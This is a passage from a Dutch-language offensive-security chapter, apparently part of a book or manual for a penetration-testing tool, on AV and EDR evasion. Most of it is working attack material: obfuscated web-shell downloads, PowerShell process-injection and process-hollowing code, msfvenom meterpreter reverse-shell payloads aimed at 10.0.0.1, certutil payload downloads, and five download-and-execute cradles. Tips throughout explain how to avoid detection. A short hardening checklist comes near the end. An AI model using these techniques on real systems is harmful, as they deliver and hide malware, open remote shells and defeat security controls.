.ps1bestanden kunnen.php,.aspx,.py,.htaen.txtbestanden on-the-fly geobfusceerd worden bij download:# Geforceerde obfuscatie bij download curl http://10.0.0.1:5000/p/shell.php?obf=1 curl http://10.0.0.1:5000/p/shell.aspx?obf=1 # Zonder obfuscatie (ook als globale instelling aan staat) curl http://10.0.0.1:5000/p/shell.php?obf=0Task runner – De taak Obfuscate bestand (multi-taal) in het Tasks-paneel obfusceert elk ondersteund bestandstype via de CLI.
IB Tip: Combineer text-based obfuscatie met on-the-fly downloads voor maximale variatie. Elke download produceert een unieke variant door willekeurige splitpunten en variabelenamen. Als een specifieke variant geblokkeerd wordt door AV, download het bestand opnieuw voor een andere variant. Voor binaire payloads: gebruik encoding in combinatie met andere evasion-technieken (Shellter, in-memory loading via NetLoader). Encoding alleen is zelden voldoende tegen moderne EDR.
Process Injection: Parasiteren op Legitieme Processen
Process injection is het cuckoo-effect van malware: je legt je code
in het nest van een ander proces en laat dat proces het uitvoeren.
Vanuit het perspectief van het besturingssysteem draait er geen verdacht
programma – er draait alleen maar explorer.exe of
svchost.exe, die altijd al draaien. Het enige verschil is
dat er een extra stuk code in het geheugen van dat proces zit.
Dit is fundamenteel anders dan de technieken die we tot nu toe hebben besproken. AMSI-bypasses en AppLocker-bypasses gaan over het starten van code. Process injection gaat over het verbergen van code die al draait.
Process Injection 1: CreateRemoteThread
Dit is de klassieke methode, het schoolboekvoorbeeld. Vier Windows API-calls, in deze volgorde:
OpenProcess– Open een handle naar het doelproces.VirtualAllocEx– Reserveer geheugen in dat proces.WriteProcessMemory– Schrijf je shellcode naar dat geheugen.CreateRemoteThread– Start een thread in het doelproces die je shellcode uitvoert.
# Stap 1: Vind het target proces
Get-Process explorer | select Id, ProcessName
# Stap 2: De volledige injection via P/Invoke
$code = @'
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(int a, bool b, int c);
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAllocEx(
IntPtr h, IntPtr a, uint s, uint t, uint p);
[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(
IntPtr h, IntPtr a, byte[] b, int s, ref int w);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateRemoteThread(
IntPtr h, IntPtr a, uint s, IntPtr l, IntPtr p, uint f, IntPtr t);
'@
$k = Add-Type -memberDefinition $code `
-Name 'K32' -namespace Win32Functions -passthru
$proc = Get-Process explorer
$h = $k::OpenProcess(0x001F0FFF, $false, $proc.Id)
# 0x001F0FFF = PROCESS_ALL_ACCESS
Write-Host 'Handle:' $hDe flow in detail:
OpenProcess(PROCESS_ALL_ACCESS)
|
v
VirtualAllocEx(MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)
|
v
WriteProcessMemory(shellcode bytes)
|
v
CreateRemoteThread(startadres van shellcode)
Shellcode genereren:
# Genereer shellcode in C#-formaat voor gebruik in de injector
msfvenom -p windows/x64/meterpreter/reverse_https \
LHOST=10.0.0.1 LPORT=443 -f csharpIB Tip: Vermijd
explorer.exein productie-assessments – het is een van de meest gemonitorde processen. Gebruik liever een minder opvallend proces zoalsRuntimeBroker.exeofsmartscreen.exe. Het gaat erom dat je opvalt tussen de duizenden threads die toch al draaien, niet dat je de enige thread bent in een proces waar nooit iets gebeurt.
Process Injection 2: DLL Injection
DLL injection is de variant waarbij je geen ruwe shellcode
injecteert, maar een volledige DLL. Het doelproces laadt de DLL via
LoadLibrary, waarna de DllMain-functie van die
DLL automatisch wordt aangeroepen.
Het voordeel boven CreateRemoteThread met shellcode: een DLL kan complexere functionaliteit bevatten, en het laden van DLL’s is een normale Windows-operatie die minder opvalt.
Stap 1: Genereer de DLL:
msfvenom -p windows/x64/meterpreter/reverse_https \
LHOST=10.0.0.1 LPORT=443 -f dll -o payload.dllStap 2: Upload naar target:
certutil -urlcache -f http://10.0.0.1/payloads/payload.dll `
C:\Windows\tasks\payload.dllStap 3: Inject via PowerShell P/Invoke:
$code = @'
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(int a, bool b, int c);
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAllocEx(
IntPtr h, IntPtr a, uint s, uint t, uint p);
[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(
IntPtr h, IntPtr a, byte[] b, int s, ref int w);
[DllImport("kernel32.dll")]
public static extern IntPtr GetProcAddress(IntPtr h, string n);
[DllImport("kernel32.dll")]
public static extern IntPtr GetModuleHandle(string n);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateRemoteThread(
IntPtr h, IntPtr a, uint s, IntPtr l, IntPtr p, uint f, IntPtr t);
'@
$k = Add-Type -memberDefinition $code `
-Name 'K32' -namespace Win32 -passthruDe flow:
OpenProcess
|
v
VirtualAllocEx (reserveer ruimte voor DLL-pad als string)
|
v
WriteProcessMemory (schrijf DLL-pad naar gereserveerde ruimte)
|
v
GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA")
|
v
CreateRemoteThread(LoadLibraryA, pointer naar DLL-pad)
Het verschil met de vorige techniek: in plaats van shellcode te
schrijven en direct uit te voeren, schrijven we het pad naar
een DLL en laten we het doelproces die DLL zelf laden.
LoadLibraryA doet al het werk.
IB Tip: De DLL moet in een schrijfbaar pad staan:
C:\Windows\tasks,%TEMP%, of een vergelijkbare locatie. Vergeet niet dat de DLL op schijf staat – dit is geen fileless techniek. Dat maakt het kwetsbaarder voor traditionele AV-scans. Combineer met een custom DLL die niet in de signature-database staat.
Process Injection 3: Process Hollowing
Process hollowing is de meest theatrale van de drie: je start een legitiem proces in suspended state, haalt de originele code eruit, vervangt het met je payload, en hervat het proces. Het is letterlijk een bodysnatcher-scenario.
Stap 1: Compileer de hollowing tool:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe `
/target:exe /out:C:\Windows\tasks\hollow.exe `
C:\Windows\tasks\hollow.csStap 2: Uitvoeren:
# Vervangt svchost.exe met payload
C:\Windows\tasks\hollow.exeHet concept in API-calls:
CreateProcess("svchost.exe", CREATE_SUSPENDED)
|
v
NtUnmapViewOfSection (verwijder originele code)
|
v
VirtualAllocEx (reserveer geheugen op origineel base address)
|
v
WriteProcessMemory (schrijf payload)
|
v
SetThreadContext (wijs instruction pointer naar payload)
|
v
ResumeThread (start het "svchost" proces)
Vanuit het perspectief van Windows draait er een
svchost.exe-proces met het juiste parent process, de juiste
naam, en de juiste locatie op schijf. Alleen de code in het geheugen is
compleet anders. Het is alsof iemand je auto steelt, een andere motor
erin zet, en hem terugparkeert op dezelfde plek. Van buiten ziet alles
er normaal uit.
Alternatief met Donut:
# Donut converteert een .NET executable naar shellcode
# voor gebruik in een gehollowed proces
donut.exe -f payload.exe -o payload.bin -a 2 -e 3IB Tip: Gebruik een trusted process als host:
svchost.exe,RuntimeBroker.exe, ofSearchProtocolHost.exe. Combineer met Parent PID Spoofing voor extra stealth – dan lijkt het alsof het proces doorservices.exeis gestart in plaats van door jouw payload. Maar let op: moderne EDR kijkt naar de inhoud van het geheugen, niet alleen naar de procesnaam.
PowerShell Cradles: Fileless Delivery
Waarom Cradles?
Een download cradle is een stukje code dat een payload van een remote server haalt en direct in het geheugen uitvoert, zonder het naar schijf te schrijven. Het woord “cradle” is wellicht het vriendelijkste woord ooit gebruikt voor iets wat in feite een digitale aflevering is.
De reden dat cradles zo populair zijn, is simpel: als er niets op de schijf staat, kan een bestandsgebaseerde AV-scan niets vinden. Het bestand bestaat niet. Er is geen hash om te vergelijken, geen bestandsnaam om te flaggen, geen tijdstempel om te correleren. Het enige bewijs is in het geheugen, en geheugen is vluchtig.
Microsoft heeft vijf verschillende manieren om HTTP-requests te doen in PowerShell ingebouwd. Dat is alsof een slotenmaker vijf verschillende lockpicks in een gratis goodiebag uitdeelt. Hier zijn ze allemaal.
Cradle 1: Invoke-WebRequest (IWR)
De meest gebruikte cradle in PowerShell 3.0 en hoger.
# Kort: download en execute in memory
iex (iwr 'http://10.0.0.1/payloads/amsi-shell.ps1' -UseBasicParsing)
# Lang: met variabele
$resp = Invoke-WebRequest `
-Uri 'http://10.0.0.1/payloads/amsi-shell.ps1' `
-UseBasicParsing
IEX $resp.Content
# File naar schijf (als je dat wilt):
Invoke-WebRequest `
-Uri 'http://10.0.0.1/tools/Rubeus.exe' `
-OutFile 'C:\Windows\tasks\Rubeus.exe'IB Tip:
-UseBasicParsingvoorkomt de IE engine dependency en werkt op Server Core waar IE niet geinstalleerd is.iwris het alias voorInvoke-WebRequest– korter, minder opvallend in logs (hoewel je niet op die illusie moet vertrouwen).
Cradle 2: WebClient (Net.WebClient)
De klassieker. De cradle die in elke tutorial staat, in elke blog verschijnt, en in elke detectieregel zit. En toch werkt het nog steeds, omdat niet iedereen die detectieregels heeft geimplementeerd.
# De standaard download cradle
iex (New-Object Net.WebClient).DownloadString(
'http://10.0.0.1/payloads/amsi-shell.ps1')
# Met proxy awareness (voor corporate omgevingen):
$wc = New-Object Net.WebClient
$wc.Proxy = [Net.WebRequest]::GetSystemWebProxy()
$wc.Proxy.Credentials = [Net.CredentialCache]::DefaultCredentials
IEX $wc.DownloadString('http://10.0.0.1/payloads/amsi-shell.ps1')
# File naar schijf:
(New-Object Net.WebClient).DownloadFile(
'http://10.0.0.1/tools/Rubeus.exe',
'C:\Windows\tasks\Rubeus.exe')De proxy-aware variant is cruciaal in zakelijke omgevingen. Veel bedrijven routeren al het verkeer door een proxyserver. Zonder de proxyconfiguratie mislukt je cradle simpelweg – en dan zit je in een bedrijfsnetwerk met een half werkende aanval en een gefrustreerde blik.
IB Tip:
IEXis het alias voorInvoke-Expressionen wordt zwaar gedetecteerd. Alternatieven:# Alternatief 1: Gebruik iex via iwr iex(iwr 'http://...' -UseBasicParsing) # Alternatief 2: Via InvokeCommand $ExecutionContext.InvokeCommand.InvokeScript( (New-Object Net.WebClient).DownloadString('http://...') )
Cradle 3: System.NET.WebRequest
De low-level variant die minder voorkomt in tutorials en daarom minder voorkomt in detectieregels. Het is als het gebruik van de achteringang terwijl iedereen de voordeur in de gaten houdt.
# WebRequest cradle
$wr = [System.NET.WebRequest]::Create(
"http://10.0.0.1/payloads/amsi-shell.ps1")
$r = $wr.GetResponse()
IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd()
# Met proxy settings:
$wr = [System.NET.WebRequest]::Create(
"http://10.0.0.1/payloads/amsi-shell.ps1")
$wr.Proxy = [System.NET.WebRequest]::DefaultWebProxy
$wr.Proxy.Credentials = `
[System.NET.CredentialCache]::DefaultNetworkCredentials
$r = $wr.GetResponse()
IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd()IB Tip: Meer low-level dan
WebClientofIWR, en daardoor minder gelogd in sommige omgevingen. Een goed alternatief alsWebClientgeblokkeerd is door AppLocker –WebRequestgebruikt een andere code path.
Cradle 4: COM Internet Explorer Object
En dan is er de cradle die niemand verwacht, omdat niemand in zijn rechterverstand Internet Explorer als downloadtool zou gebruiken. Wat natuurlijk precies is waarom het werkt.
# IE COM object cradle
$ie = New-Object -ComObject InternetExplorer.Application
$ie.visible = $False
$ie.navigate('http://10.0.0.1/payloads/amsi-shell.ps1')
sleep 5
$response = $ie.Document.body.innerHTML
$ie.quit()
iex $responseDit start een onzichtbare Internet Explorer-instantie, navigeert naar
de payload-URL, wacht vijf seconden (de meest optimistische
sleep in de geschiedenis van de informatica), leest de
inhoud van de pagina, sluit IE, en voert de code uit.
Het is belachelijk. Het is onhandig. Het vereist dat IE geinstalleerd is. En het is de minst gedetecteerde cradle van allemaal, precies omdat het zo belachelijk is dat niemand er een detectieregel voor heeft geschreven.
IB Tip: Vereist dat IE geinstalleerd is – werkt niet op Server Core of Windows 11+ (waar IE verwijderd is). De
sleep 5is nodig om de pagina te laden; verhoog bij trage verbindingen. En ja, het is inderdaad een cradle die afhankelijk is van Internet Explorer. We leven in bijzondere tijden.
Cradle 5: XMLHTTP COM Object
De laatste variant gebruikt het
Msxml2.XMLHTTP-COM-object, dat buiten de .NET-stack om
werkt en daardoor een ander detectieprofiel heeft.
# XMLHTTP cradle
$h = New-Object -ComObject Msxml2.XMLHTTP
$h.open('GET', 'http://10.0.0.1/payloads/amsi-shell.ps1', $false)
$h.send()
iex $h.responseText
# ServerXMLHTTP variant (gaat door proxy):
$h = New-Object -ComObject Msxml2.ServerXMLHTTP
$h.open('GET', 'http://10.0.0.1/payloads/amsi-shell.ps1', $false)
$h.send()
iex $h.responseTextHet verschil tussen XMLHTTP en
ServerXMLHTTP: de laatste is proxy-aware en werkt daarom
beter in zakelijke omgevingen waar een proxyserver verplicht is.
IB Tip: De XMLHTTP-cradle werkt ook in Constrained Language Mode, omdat COM-objects wel toegestaan zijn. Dit maakt het een goede fallback-optie als CLM actief is maar je nog geen CLM-bypass hebt uitgevoerd.
Cradles: De Vergelijking
| Cradle | Detectiekans | Proxy-aware | CLM-compatible | Opmerking |
|---|---|---|---|---|
Invoke-WebRequest |
Hoog | Nee* | Nee | Meest gebruikt, meest gedetecteerd |
Net.WebClient |
Hoog | Ja (handmatig) | Nee | De klassieker |
WebRequest |
Medium | Ja (handmatig) | Nee | Low-level alternatief |
IE COM |
Laag | Ja (IE-proxy) | Ja | Vereist IE; Windows 10 only |
XMLHTTP COM |
Laag | Ja (Server-variant) | Ja | Beste all-round optie |
* IWR kan proxy-aware gemaakt worden met extra parameters.
Verdediging: Hoe Je Dit Allemaal Stopt
Na twintig technieken om verdedigingen te omzeilen, is het tijd om de andere kant van het verhaal te vertellen. Want dit is geen boek voor aanvallers – het is een boek voor verdedigers die willen begrijpen hoe aanvallers denken.
EDR: Endpoint Detection and Response
Moderne EDR-oplossingen gaan verder dan signature-based detection. Ze kijken naar gedragingen:
- API hooking: EDR plaatst hooks op Windows
API-functies zoals
VirtualAllocEx,WriteProcessMemory, enCreateRemoteThread. Elke call wordt gelogd en geanalyseerd. - ETW (Event Tracing for Windows): EDR-producten registreren zich als ETW-consumers en ontvangen events van de kernel, AMSI, en applicaties.
- Memory scanning: Periodiek scannen van procesgeheugen op bekende patronen, zelfs als er niets op schijf staat.
- Procesrelaties: Als
mshta.exeeenpowershell.exe-kindproces start, of alssvchost.exeplotseling een netwerverbinding maakt naar een extern IP-adres, genereert dat een alert.
Constrained Language Mode – Goed Geconfigureerd
CLM is niet waardeloos als het correct is geconfigureerd:
- Combineer CLM met WDAC (Windows Defender Application Control) in plaats van AppLocker.
- Verwijder PowerShell v2:
Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root. - Blokkeer
InstallUtil.exeenMSBuild.exeals ze niet nodig zijn.
Code Signing
Vereisen dat alle scripts en executables digitaal ondertekend zijn, is een van de meest effectieve verdedigingen:
Set-ExecutionPolicy AllSignedvoor PowerShell.- WDAC-beleid dat alleen ondertekende binaries toelaat.
- Certificaat-pinning voor interne tools.
Het is niet waterdicht – gestolen code signing-certificaten zijn een ding – maar het verhoogt de lat aanzienlijk.
Praktische Hardening Checklist
- Schakel PowerShell v2 uit.
- Implementeer WDAC in plaats van (of naast) AppLocker.
- Activeer en monitor Script Block Logging.
- Blokkeer LOLBins die niet nodig zijn (
mshta.exe,cscript.exe,wscript.exe). - Monitor procesrelaties – welk proces start welk kindproces.
- Implementeer Credential Guard om credential dumping te beperken.
- Patch, patch, patch. De meeste AMSI-bypasses werken tegen specifieke versies. Updates breken ze.
Een Woord over de Antivirus-Industrie
Er is een oude wijsheid: als je een idioot een mooi pak aantrekt, krijg je geen slimmer persoon – je krijgt een idioot in een mooi pak.
De antivirus-industrie heeft vijftig miljard dollar per jaar aan mooie pakken aangetrokken. Ze verkoopt reactieve detectie als proactieve bescherming. Ze noemt signature-updates “threat intelligence.” Ze plakt machine learning-labels op patroonherkenning die een informaticstudent in een weekend zou kunnen schrijven. En ze adverteert met detectiepercentages van 99,9% – wat indrukwekkend klinkt tot je beseft dat er elke dag drie miljoen nieuwe malware-samples verschijnen, en 0,1% daarvan drieduizend gemiste detecties per dag betekent.
Het echte probleem is niet dat AV slecht is. AV vangt het leeuwendeel van commodity malware. Het probleem is dat organisaties denken dat AV genoeg is. Dat ze een product installeren, achterover leunen, en denken: “We zijn beveiligd.” Dat is alsof je een slot op je voordeur zet en concludeert dat je huis inbraakvrij is, terwijl het raam op de eerste verdieping open staat, de achterdeur niet op slot zit, en je de reservesleutel onder de deurmat hebt gelegd.
Beveiliging is geen product. Het is een proces. Het is lagen – defence in depth. AMSI plus AppLocker plus EDR plus netwerksegmentatie plus monitoring plus incident response plus – en dit is het belangrijkste – mensen die weten wat ze doen.
De technieken in dit hoofdstuk bewijzen dat geen enkele laag onkwetsbaar is. Maar elke laag maakt de aanval moeilijker, duurder, en – cruciaal – detecteerbaarder. Een aanvaller die vijf bypasses moet uitvoeren, maakt vijf keer zoveel geluid als een aanvaller die er nul hoeft uit te voeren. En geluid is wat verdedigers nodig hebben.
IB Tips: Samenvatting
AMSI: - Patch niet blindelings – test eerst met AMSITrigger welke strings gedetecteerd worden. - Combineer bypasses: InvisiShell voor logging, memory patch voor AMSI, dan pas je eigenlijke tooling. - Na elke Windows-update: hertest je bypasses. Microsoft patcht ze regelmatig.
AppLocker: - LOLBin-gebruik is moeilijk te voorkomen maar makkelijk te detecteren. Monitor procesrelaties. - Overweeg WDAC als vervanging – het is strenger en moeilijker te omzeilen. - Blokkeer niet-essientiele .NET-tools: als niemand MSBuild nodig heeft, blokkeer het.
AV Evasion: - DefenderCheck/AMSITrigger zijn je beste vrienden. Scan, pas aan, scan opnieuw. Iteratief proces. - In-memory execution (NetLoader) is effectiever dan obfuscatie op schijf. - Shellter werkt goed maar gebruik altijd verse PE-targets. - Gebruik
obfuscate_av.pyvoor text-based payloads (.php, .aspx, .py, .hta, .txt) en--obfuscate-vbavoor macro’s. - On-the-fly download obfuscatie (?obf=1) geeft elke download een unieke variant – nuttig als een specifieke versie geblokkeerd wordt. - Voor binaire payloads: combineer msfvenom encoders met andere technieken. Encoding alleen stopt moderne EDR niet.
Process Injection: - Kies je target-proces zorgvuldig. Een
notepad.exedat plotseling HTTPS-verkeer genereert, valt op. - Process hollowing gecombineerd met Parent PID Spoofing is de meest stealthy variant. - Genereer shellcode voor de juiste architectuur (x64 vs x86).
Cradles: - Gebruik de XMLHTTP-cradle als default – laagste detectiekans, proxy-compatible, CLM-compatible. - Voeg altijd proxy-support toe in zakelijke omgevingen. - Combineer de cradle met een AMSI-bypass – AMSI scant de content die de cradle downloadt.
Referentietabel
| Techniek | IB Command | Type | Complexiteit |
|---|---|---|---|
| CLM Bypass (runspace) | amsi_bypass_clm |
AMSI/CLM | Laag |
| CLM Bypass (PSv2) | amsi_bypass_clm |
AMSI/CLM | Laag |
| CLM Bypass (InstallUtil) | amsi_bypass_clm |
AMSI/CLM | Medium |
| CLM Bypass (MSBuild) | amsi_bypass_clm |
AMSI/CLM | Medium |
| amsiInitFailed flag | amsi_bypass_context |
AMSI | Laag |
| AmsiScanBuffer patch | amsi_bypass_patch |
AMSI | Medium |
| AmsiContext reflection | amsi_bypass_reflection |
AMSI | Medium |
| InvisiShell | amsi_invisishell |
AMSI/Logging | Laag |
| InstallUtil bypass | applocker_installutil |
AppLocker | Medium |
| MSBuild inline task | applocker_msbuild |
AppLocker | Medium |
| MSHTA execution | applocker_mshta |
AppLocker | Laag |
| DefenderCheck workflow | av_defendercheck |
AV Recon | Laag |
| HTA payload | av_hta |
AV/Initial Access | Medium |
| NetLoader | av_netloader |
AV/In-Memory | Medium |
| Shellter PE injection | av_shellter |
AV/PE Inject | Hoog |
| Multi-taal obfuscatie (PHP/ASPX/Python/HTA/TXT) | obfuscate_file taak |
AV/Obfuscatie | Laag |
| VBA macro obfuscatie | --obfuscate-vba flag |
AV/Obfuscatie | Laag |
| Binary encoder (ELF/MSI/EXE) | --encoder flag |
AV/Encoding | Medium |
| CreateRemoteThread | inject_createremotethread |
Process Inject | Medium |
| DLL Injection | inject_dll |
Process Inject | Medium |
| Process Hollowing | inject_hollowing |
Process Inject | Hoog |
| IWR Cradle | ps_cradle_iwr |
Delivery | Laag |
| WebClient Cradle | ps_cradle_webclient |
Delivery | Laag |
| WebRequest Cradle | ps_cradle_webrequest |
Delivery | Laag |
| IE COM Cradle | ps_cradle_comie |
Delivery | Medium |
| XMLHTTP Cradle | ps_cradle_xmlhttp |
Delivery | Laag |
Verder Lezen
- LOLBAS Project: https://lolbas-project.github.io – De complete catalogus van Living Off The Land Binaries, Scripts, en Libraries.
- AMSI.fail: Verzameling van publieke AMSI-bypasses.
- Donut: https://github.com/TheWover/donut – Converteert .NET assemblies naar position-independent shellcode.
- NetLoader: Laadt .NET assemblies in memory met automatische AMSI/ETW bypass.
- Shellter: https://www.shellterproject.com – Dynamic PE infection tool.
- DefenderCheck / ThreatCheck: Tools om te identificeren welke bytes in een binary gedetecteerd worden.
En zo eindigt ons rondje door het landschap van evasion. Bijna dertig technieken, verdeeld over zes categorieen, elk met hun eigen charme en hun eigen detectiemethoden. De wapenwedloop gaat door. De aanvaller vindt een bypass, de verdediger schrijft een detectieregel, de aanvaller past de bypass aan, de verdediger update de regel. Het is een dans die al begon bij het Trojaanse paard en die niet snel zal ophouden. Het minste wat je kunt doen, is de danspassen kennen.
In het volgende hoofdstuk pakken we iets groters aan: laterale beweging door het netwerk. Want een voet tussen de deur is leuk, maar de kluis staat aan de andere kant van het gebouw.